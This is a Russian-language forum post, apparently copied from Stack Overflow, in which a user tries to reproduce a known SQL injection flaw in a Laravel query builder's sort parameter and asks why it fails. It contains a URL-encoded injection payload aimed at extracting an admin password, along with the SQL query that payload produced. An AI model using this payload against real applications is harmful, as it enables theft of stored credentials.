Запрос Laravel не выполняется должным образомPhp

Кемеровские программисты php общаются здесь
Ответить
Anonymous
 Запрос Laravel не выполняется должным образом

Сообщение Anonymous »

Я пытаюсь запустить эту проверку концепции
https://freek.dev/1317-an-important-sec ... ry-builder
Схема:
Изображение

Мой код

Код: Выделить всё

    public function query_builder(Request $request){

DB::connection()->enableQueryLog();
$users = QueryBuilder::for(User::class)->select('name')
->get();
$queries = \DB::getQueryLog();

dd($queries);

return response()->json($users);
}
Я использую PHP 7.2 в Windows, и это мой URL

Код: Выделить всё

http://127.0.0.1:8080/query_builder?sort=email-%3E%22%27))%20AND%20(SELECT%20password%20FROM%20users%20WHERE%20email=%27admin@example.com%27)--
Это запрос, который выполняется

Код: Выделить всё

select `name` from `users` order by json_unquote(json_extract(`email`, '$.""\')) AND (SELECT password FROM users WHERE email=\'admin@example.com\')--"')) asc
Это результат, однако я ожидаю увидеть пароль. В чем проблема? К сожалению, то же самое выполняется в другой среде с той же конфигурацией.

Подробнее здесь: https://stackoverflow.com/questions/786 ... g-properly
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Php»